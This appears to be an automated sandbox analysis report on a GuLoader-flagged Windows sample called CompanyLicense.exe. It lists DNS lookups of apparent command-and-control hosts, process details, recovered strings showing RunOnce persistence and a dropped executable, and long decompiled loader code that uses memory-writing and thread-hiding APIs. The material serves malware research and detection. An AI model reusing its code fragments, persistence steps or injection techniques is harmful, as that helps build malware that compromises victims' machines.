Jan 19, 2021 17:16:46.155225992 CET	8.8.8.8	192.168.2.4	0x3328	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:48.404742956 CET	8.8.8.8	192.168.2.4	0x11f3	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:49.622330904 CET	8.8.8.8	192.168.2.4	0xace5	No error (0)	sheilabeltagy3m.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)
Jan 19, 2021 17:16:51.819967985 CET	8.8.8.8	192.168.2.4	0xf495	No error (0)	northside.hopto.org		185.140.53.253	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: CompanyLicense.exe PID: 5148 Parent PID: 5680

General

Start time:	17:14:06
Start date:	19/01/2021
Path:	C:\Users\user\Desktop\CompanyLicense.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\CompanyLicense.exe'
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	ACE3E9FC3A2277AA4E72881C9F204642
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: CompanyLicense.exe PID: 6572 Parent PID: 5148

General

Start time:	17:14:13
Start date:	19/01/2021
Path:	C:\Users\user\Desktop\CompanyLicense.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\CompanyLicense.exe'
Imagebase:	0x400000
File size:	98304 bytes
MD5 hash:	ACE3E9FC3A2277AA4E72881C9F204642
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader, Description: Yara detected GuLoader, Source: 00000001.00000002.998526794.0000000000562000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: CompanyLicense.exe PID: 5148 Parent PID: 5680 CompanyLicense.exeCOMMON

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	66.5%
Signature Coverage:	23.4%
Total number of Nodes:	1060
Total number of Limit Nodes:	97

Executed Functions

Function 020A0D52, Relevance: 9.3, APIs: 2, Strings: 3, Instructions: 527
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

]:, xrefs: 020A34A5
iX, xrefs: 020A3653
j@h, xrefs: 020A3837

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID: j@h$]:$iX
API String ID: 0-588690634
Opcode ID: 7165bc645bb0a4d0e1ca5414f510100a26532113cb44905fc3d6fe2a4159e8da
Instruction ID: 34ab61d7eb186fa65bc218d9d7122b8d205d331cbd6f979bffc56c7b00212959
Opcode Fuzzy Hash: 7165bc645bb0a4d0e1ca5414f510100a26532113cb44905fc3d6fe2a4159e8da
Instruction Fuzzy Hash: 2002BA709003466BEB321BF4CCA5BD8B777AF41314FD44268FE86571D1C7B9A8A0AB91

Uniqueness

Uniqueness Score: -1.00%

Function 020A0BD7, Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

W = CreateObject("WScript.Shell")Set C = W.Exec (", xrefs: 020A5381
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 020A53C6
\Internering2.exe, xrefs: 020A5406

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoad
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$W = CreateObject("WScript.Shell")Set C = W.Exec ("$\Internering2.exe
API String ID: 1029625771-867964101
Opcode ID: e05aab62bb3be44cf28252791593768de983d64d62cfd7530dda196b8a1eefed
Instruction ID: 90720e8a392e3bd954aa173c2c9f10ad8d9060fbbab9555233c238446cf64ad9
Opcode Fuzzy Hash: e05aab62bb3be44cf28252791593768de983d64d62cfd7530dda196b8a1eefed
Instruction Fuzzy Hash: 05F1F030D043864BDB3216F44CB57DCBBB77F42324FD842AAEC99471A2D7A598A0D752

Uniqueness

Uniqueness Score: -1.00%

Function 020A34CD, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 242
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

]:, xrefs: 020A34A5
iX, xrefs: 020A3653
j@h, xrefs: 020A3837

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID: j@h$]:$iX
API String ID: 0-588690634
Opcode ID: 148dd63ea7f608c0aa791e72579de84f4c6a8184696d79aa1afc4aff52aec32d
Instruction ID: 6f0f67b97e4557df1bd68ba69dfcb07f79b144ed54e85531d051caa1be51fa8d
Opcode Fuzzy Hash: 148dd63ea7f608c0aa791e72579de84f4c6a8184696d79aa1afc4aff52aec32d
Instruction Fuzzy Hash: 9F81897090468A6BEB220BB0CC957C4FB76BF01714F8411A8FE96471A1C7B66CF49BC1

Uniqueness

Uniqueness Score: -1.00%

Function 020A08D5, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(020A08FE,?,00000000,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349,020A32BD,00000000,00000000,00000000,00000000,?), ref: 020A08E7
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349), ref: 020A0A7A

Strings

1.!T, xrefs: 020A0A5C
Msi.dll, xrefs: 020A51A7

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T$Msi.dll
API String ID: 1954852945-1822015534
Opcode ID: f9c80b3dfd7aa95962c71d2c78de894e7ac0f912cb6256bc9ba11a4e262a0758
Instruction ID: 52d240596efc28cac5f5758ee0e32af238a5303dae35d7b8882b38d9db75075f
Opcode Fuzzy Hash: f9c80b3dfd7aa95962c71d2c78de894e7ac0f912cb6256bc9ba11a4e262a0758
Instruction Fuzzy Hash: 9E310874740309ABEB109FA48DF0BDE3AA3AF85354FA48229FD596B2C4CA70DC45D711

Uniqueness

Uniqueness Score: -1.00%

Function 020A474B, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349), ref: 020A0A7A

Strings

1.!T, xrefs: 020A0A5C
Msi.dll, xrefs: 020A51A7

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: InformationThread
String ID: 1.!T$Msi.dll
API String ID: 4046476035-1822015534
Opcode ID: 6c140333d961bdb831968f344efa957b945f94a06249c5de528568f671feccfe
Instruction ID: 7e7e5a79cbb102e2526ddb05b51b34084c116a27eb488fa62be2f43bc4d3eb82
Opcode Fuzzy Hash: 6c140333d961bdb831968f344efa957b945f94a06249c5de528568f671feccfe
Instruction Fuzzy Hash: 1A51E67468034AAAEF319EA4CCB1BEE36A6AF44344F948125FD4AAB1C0D771DD44EB14

Uniqueness

Uniqueness Score: -1.00%

Function 020A35EF, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL(?,?,?,00000000,?,68F644E8,?,68F644E4,00000000,68F644E8,00001000,00000040,?,?,?,68F644E4), ref: 020A399F

Strings

iX, xrefs: 020A3653
j@h, xrefs: 020A3837

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID: j@h$iX
API String ID: 3527976591-3508662898
Opcode ID: 14476d47d29c597bf2023ca5c5b61ec9c027f5a852d5ddd9561c6830c20ecc05
Instruction ID: 79d61f7fd8995380f365927a57d5c1c6b79200e4021d0d9e75e6c20fefbfb1b5
Opcode Fuzzy Hash: 14476d47d29c597bf2023ca5c5b61ec9c027f5a852d5ddd9561c6830c20ecc05
Instruction Fuzzy Hash: 8C5194B0240308BFFF759F50DC95BE93A66FF14304F948124FA85AA1D0D7B9A9D4AB84

Uniqueness

Uniqueness Score: -1.00%

Function 020A0917, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 142
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 020A6F5A: LoadLibraryA.KERNELBASE(?,321C9581,?,020A8349,020A32BD,00000000,00000000,00000000,00000000,?,00000000,00000000,020A0719,00000000), ref: 020A70A8

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349), ref: 020A0A7A

Strings

1.!T, xrefs: 020A0A5C
Msi.dll, xrefs: 020A51A7

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID: 1.!T$Msi.dll
API String ID: 543350213-1822015534
Opcode ID: fd8243844a7b373d72ba6221b58e2dc4c3e550b3e4d3283104d48990456af713
Instruction ID: 4dae0ecd3625190c073821b1ee2101c12eacd0cc327ebcfcb780df8a7ebb6d6f
Opcode Fuzzy Hash: fd8243844a7b373d72ba6221b58e2dc4c3e550b3e4d3283104d48990456af713
Instruction Fuzzy Hash: 1741E615D49AC703C21206F41CA53C0FFB73F52A28FC521EDADA603166D7626D7487D2

Uniqueness

Uniqueness Score: -1.00%

Function 020A35E2, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL(?,?,?,00000000,?,68F644E8,?,68F644E4,00000000,68F644E8,00001000,00000040,?,?,?,68F644E4), ref: 020A399F

Strings

iX, xrefs: 020A3653
j@h, xrefs: 020A3837

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID: j@h$iX
API String ID: 3527976591-3508662898
Opcode ID: 998f84c450f3a1d155d426431ba1816ab9f3f9d662b19d60f8dd76f3dbb2fa33
Instruction ID: eba6202efc745783a77239a04f1780bab0c34a11b16aa4080e7aadcca0c45a69
Opcode Fuzzy Hash: 998f84c450f3a1d155d426431ba1816ab9f3f9d662b19d60f8dd76f3dbb2fa33
Instruction Fuzzy Hash: AF41B3B0640308AFFF769F50DCA5BE93656FB14304F948124FA85AA1D0D7B998C4BB84

Uniqueness

Uniqueness Score: -1.00%

Function 020A36D0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 188
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteVirtualMemory.NTDLL(?,?,?,00000000,?,68F644E8,?,68F644E4,00000000,68F644E8,00001000,00000040,?,?,?,68F644E4), ref: 020A399F

Strings

j@h, xrefs: 020A3837

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID: j@h
API String ID: 3527976591-152121739
Opcode ID: f0489c132efb3c4c3632ff2253869e2e4291a68398b22ce6b5522cf3d581563d
Instruction ID: a3438612b0844dc57c9baff6f23025819aa1f9df72d3a78f216683e1c68f8197
Opcode Fuzzy Hash: f0489c132efb3c4c3632ff2253869e2e4291a68398b22ce6b5522cf3d581563d
Instruction Fuzzy Hash: 6E6133709086C91BDB230AB09C957C4FA76BF12B14F8411E8EED6471A2D7B26CB49BC1

Uniqueness

Uniqueness Score: -1.00%

Function 020A833C, Relevance: 1.8, APIs: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: f07c4a38a02e640674db6d00e88861aa41271732b4e2814bd281b95238dbc9f2
Instruction ID: d9aec43b9c047dbbf6b39cf10f5b4177a190cbbc2cbafc1c01cf3b56f080cad7
Opcode Fuzzy Hash: f07c4a38a02e640674db6d00e88861aa41271732b4e2814bd281b95238dbc9f2
Instruction Fuzzy Hash: 6FA1C770A043418EDF66DFB8C4E4B69BBD1EF52364F98C299D5958F2E6C7308442D722

Uniqueness

Uniqueness Score: -1.00%

Function 020A38A7, Relevance: 1.6, APIs: 1, Instructions: 94nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,?,?,00000000,?,68F644E8,?,68F644E4,00000000,68F644E8,00001000,00000040,?,?,?,68F644E4), ref: 020A399F

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: fd991257c4a5e320e936970340e0a2c83a4a89e81823c97a3842bac3e73971bb
Instruction ID: fbb2b3f4b3792aa7d60b3fd03b9dff350af9a37c6858273607ed613e5eef837f
Opcode Fuzzy Hash: fd991257c4a5e320e936970340e0a2c83a4a89e81823c97a3842bac3e73971bb
Instruction Fuzzy Hash: EE315E15C498CA07C72306B55895380FFB77F52924FC522E9ADEB03536D7622DB48BD2

Uniqueness

Uniqueness Score: -1.00%

Function 020A457E, Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(?,?,?,?,?,020A5210,020A555C,020A4170,020A0A81,?,6DDC21B5,6DDB9555,?,321C9581,?,020A8349), ref: 020A5095

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 96d63c1461a1ec93ccb9a9e02ac3323ec63332257b07016c0f5cd6546b93565d
Instruction ID: 6f28dadfc55ffe58c4192f1673c3c8607142c2cfcda9f5c66525344261aa4e14
Opcode Fuzzy Hash: 96d63c1461a1ec93ccb9a9e02ac3323ec63332257b07016c0f5cd6546b93565d
Instruction Fuzzy Hash: 41114A16C4D9C603C21202F5146A680FFB77D528347C961DD9DE60363BDB523E7597D2

Uniqueness

Uniqueness Score: -1.00%

Function 020A8B16, Relevance: 1.5, APIs: 1, Instructions: 13nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,020A84C3,00000040,020A32BD,00000000,00000000,00000000,00000000,?,00000000,00000000,020A0719), ref: 020A8B2F

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032

Uniqueness

Uniqueness Score: -1.00%

Function 004041A1, Relevance: 1.4, APIs: 1, Instructions: 166
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004041A1(void* __eax, void* __ebx, void* __edx, void* __edi) {
				void* _t166;
				void* _t195;

				_t166 = __edx;
				 *(_t195 + 0x38) =  *(_t195 + 0x38) ^ 0x00000000;
			}

0x004041a1
0x004041a2

APIs

VirtualAlloc.KERNELBASE(00000000,0000E291,FFFFAE6D,FFFFFEF2), ref: 0040437B

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e734ab50ef0d3b0b1475db0e40835dd144fdd7e4d23f15578b9dae19fd963377
Instruction ID: 43209272c24a350b9e3e82cd8eec46b4dcdba6e778195234b4ba2ef0805891a2
Opcode Fuzzy Hash: e734ab50ef0d3b0b1475db0e40835dd144fdd7e4d23f15578b9dae19fd963377
Instruction Fuzzy Hash: 4E7199B2804218ABEBC49F34C58979A7BB0FF103A9FA66419FC8752191D7BD85C5CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7AA, Relevance: 340.0, APIs: 182, Strings: 11, Instructions: 2220
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0040E7AA(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				void* _v8;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				signed int _v40;
				short _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				long long _v60;
				char _v64;
				long long _v72;
				void* _v88;
				short _v92;
				signed int _v96;
				void* _v112;
				signed int _v120;
				signed int _v124;
				char _v128;
				char _v132;
				char _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v168;
				char _v176;
				intOrPtr _v184;
				char _v192;
				char _v200;
				char _v208;
				char* _v216;
				char _v224;
				char* _v232;
				intOrPtr _v240;
				intOrPtr _v248;
				intOrPtr _v256;
				char _v260;
				char _v264;
				char _v268;
				void* _v272;
				char _v276;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				intOrPtr _v296;
				char _v300;
				intOrPtr _v304;
				char _v308;
				signed int _v312;
				signed int _v316;
				intOrPtr* _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				intOrPtr* _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				char _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				intOrPtr* _v412;
				signed int _v416;
				signed int _v420;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				intOrPtr* _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				intOrPtr* _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				signed int _v488;
				intOrPtr* _v492;
				signed int _v496;
				intOrPtr* _v500;
				signed int _v504;
				intOrPtr* _v508;
				signed int _v512;
				intOrPtr* _v516;
				signed int _v520;
				intOrPtr* _v524;
				signed int _v528;
				intOrPtr* _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				intOrPtr* _v548;
				signed int _v552;
				intOrPtr* _v556;
				signed int _v560;
				intOrPtr* _v564;
				signed int _v568;
				signed int _v572;
				intOrPtr* _v576;
				signed int _v580;
				intOrPtr* _v584;
				signed int _v588;
				intOrPtr* _v592;
				signed int _v596;
				intOrPtr* _v600;
				signed int _v604;
				intOrPtr* _v608;
				signed int _v612;
				signed int _v616;
				intOrPtr* _v620;
				signed int _v624;
				intOrPtr* _v628;
				signed int _v632;
				intOrPtr* _v636;
				signed int _v640;
				intOrPtr* _v644;
				signed int _v648;
				intOrPtr* _v652;
				signed int _v656;
				intOrPtr* _v660;
				signed int _v664;
				intOrPtr* _v668;
				signed int _v672;
				intOrPtr* _v676;
				signed int _v680;
				intOrPtr* _v684;
				signed int _v688;
				signed int _v692;
				intOrPtr* _v696;
				signed int _v700;
				intOrPtr* _v704;
				signed int _v708;
				signed int _v712;
				intOrPtr* _v716;
				signed int _v720;
				intOrPtr* _v724;
				signed int _v728;
				signed int _v732;
				signed int _v736;
				signed int _t1111;
				signed int _t1118;
				signed int _t1126;
				signed int _t1130;
				char* _t1134;
				signed int _t1138;
				signed int _t1143;
				signed int _t1147;
				signed int _t1166;
				signed int _t1170;
				signed int* _t1175;
				signed int _t1179;
				signed int _t1183;
				signed int _t1187;
				signed int _t1192;
				signed int _t1196;
				char* _t1200;
				signed int _t1204;
				char* _t1206;
				char* _t1209;
				signed int _t1219;
				signed int _t1233;
				signed int _t1237;
				char* _t1241;
				signed int _t1245;
				signed int _t1249;
				signed int _t1253;
				signed int _t1257;
				signed int _t1261;
				char* _t1266;
				signed int _t1270;
				signed int _t1274;
				signed int _t1278;
				char* _t1283;
				signed int _t1289;
				signed int _t1304;
				signed int _t1309;
				signed int _t1313;
				char* _t1317;
				signed int _t1321;
				signed int _t1325;
				signed int _t1329;
				signed int _t1337;
				signed int _t1344;
				signed int _t1348;
				char* _t1352;
				signed int _t1356;
				signed int _t1360;
				signed int _t1364;
				signed int _t1368;
				signed int _t1372;
				char* _t1376;
				signed int _t1380;
				signed int _t1393;
				signed int _t1409;
				signed int _t1413;
				signed int* _t1418;
				signed int _t1422;
				signed int _t1426;
				signed int _t1430;
				signed int _t1434;
				signed int _t1438;
				char* _t1442;
				signed int _t1446;
				signed int _t1451;
				signed int _t1455;
				char* _t1458;
				char* _t1460;
				signed int _t1481;
				signed int _t1485;
				char* _t1489;
				signed int _t1493;
				signed int _t1497;
				signed int _t1501;
				signed int _t1515;
				signed int _t1524;
				signed int _t1528;
				char* _t1532;
				signed int _t1536;
				signed int _t1543;
				signed int _t1550;
				signed int _t1554;
				char* _t1558;
				signed int _t1562;
				signed int _t1570;
				signed int _t1575;
				void* _t1583;
				signed int _t1587;
				signed int _t1591;
				char* _t1596;
				char* _t1608;
				intOrPtr _t1671;
				intOrPtr _t1712;
				signed int* _t1720;
				void* _t1756;
				void* _t1758;
				intOrPtr* _t1759;
				intOrPtr* _t1760;
				void* _t1762;
				void* _t1763;
				void* _t1764;
				void* _t1766;
				void* _t1767;
				void* _t1769;
				void* _t1770;
				void* _t1772;
				void* _t1773;
				void* _t1774;
				void* _t1776;
				long long* _t1777;
				long long* _t1778;

				_t1759 = _t1758 - 0x18;
				 *[fs:0x0] = _t1759;
				L004012E0();
				_v28 = _t1759;
				_v24 = 0x401128;
				_v20 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t1756);
				_v8 = 1;
				_v8 = 2;
				_push( &_v176);
				L00401442();
				_v216 = L"udsanering";
				_v224 = 0x8008;
				_push( &_v176);
				_t1111 =  &_v224;
				_push(_t1111);
				L00401448();
				_v312 = _t1111;
				_t1596 =  &_v176;
				L0040143C();
				if(_v312 != 0) {
					_v8 = 3;
					if( *0x413010 != 0) {
						_v412 = 0x413010;
					} else {
						_push(0x413010);
						_push(0x402b8c);
						L0040142A();
						_v412 = 0x413010;
					}
					_t1587 =  &_v132;
					L00401430();
					_v312 = _t1587;
					_t1591 =  *((intOrPtr*)( *_v312 + 0x158))(_v312,  &_v120, _t1587,  *((intOrPtr*)( *((intOrPtr*)( *_v412)) + 0x300))( *_v412));
					asm("fclex");
					_v316 = _t1591;
					if(_v316 >= 0) {
						_v416 = _v416 & 0x00000000;
					} else {
						_push(0x158);
						_push(0x403ac4);
						_push(_v312);
						_push(_v316);
						L0040145A();
						_v416 = _t1591;
					}
					_v384 = _v120;
					_v120 = _v120 & 0x00000000;
					_v168 = _v384;
					_v176 = 8;
					_push( &_v176);
					L00401436();
					L0040144E();
					_t1596 =  &_v176;
					L0040143C();
				}
				_v8 = 5;
				_v232 = L"SMAAKRAVLET";
				_v240 = 8;
				_v168 = 0x46bb55;
				_v176 = 3;
				_v276 = 0x770254;
				 *_t1759 =  *0x4011f8;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1118 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4,  &_v276, 0x15f3f,  &_v176, 0x10, _t1596);
				_v312 = _t1118;
				if(_v312 >= 0) {
					_v420 = _v420 & 0x00000000;
				} else {
					_push(0x6f8);
					_push(0x403918);
					_push(_a4);
					_push(_v312);
					L0040145A();
					_v420 = _t1118;
				}
				L0040143C();
				_v8 = 6;
				 *((intOrPtr*)( *_a4 + 0x724))(_a4,  &_v300);
				_v72 = _v300;
				_v8 = 7;
				if( *0x413010 != 0) {
					_v424 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v424 = 0x413010;
				}
				_t1126 =  &_v132;
				L00401430();
				_v312 = _t1126;
				_t1130 =  *((intOrPtr*)( *_v312 + 0x78))(_v312,  &_v276, _t1126,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x304))( *_v424));
				asm("fclex");
				_v316 = _t1130;
				if(_v316 >= 0) {
					_v428 = _v428 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v428 = _t1130;
				}
				if( *0x413010 != 0) {
					_v432 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v432 = 0x413010;
				}
				_t1134 =  &_v136;
				L00401430();
				_v320 = _t1134;
				_t1138 =  *((intOrPtr*)( *_v320 + 0x130))(_v320,  &_v140, _t1134,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x30c))( *_v432));
				asm("fclex");
				_v324 = _t1138;
				if(_v324 >= 0) {
					_v436 = _v436 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v436 = _t1138;
				}
				_push(0);
				_push(0);
				_push(_v140);
				_push( &_v192); // executed
				L00401424(); // executed
				_t1760 = _t1759 + 0x10;
				if( *0x413010 != 0) {
					_v440 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v440 = 0x413010;
				}
				_t1143 =  &_v144;
				L00401430();
				_v328 = _t1143;
				_t1147 =  *((intOrPtr*)( *_v328 + 0x118))(_v328,  &_v280, _t1143,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x300))( *_v440));
				asm("fclex");
				_v332 = _t1147;
				if(_v332 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v444 = _t1147;
				}
				_v300 =  *0x4011f0;
				_v288 = 0x5f3676;
				L00401418();
				L0040141E();
				_v284 =  *0x4011e8;
				_v216 = L"BEMISTED";
				_v224 = 8;
				_t1608 =  &_v176;
				L00401412();
				_t144 =  &_v288; // 0x5f3676
				 *_t1760 = _v276;
				_v192 =  *0x4011e0;
				 *((intOrPtr*)( *_a4 + 0x728))(_a4, 0x5da19910, 0x5afc,  &_v176, _t1608, _t1608,  &_v284, _t1608,  &_v120, _v280, _t144,  &_v300, 0x7259,  &_v192);
				L0040140C();
				_push( &_v140);
				_push( &_v144);
				_push( &_v136);
				_push( &_v132);
				_push(4);
				L00401406();
				_push( &_v192);
				_push( &_v176);
				_push(2);
				L00401400();
				_t1762 = _t1760 + 0x20;
				_v8 = 8;
				if( *0x413010 != 0) {
					_v448 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v448 = 0x413010;
				}
				_t1166 =  &_v132;
				L00401430();
				_v312 = _t1166;
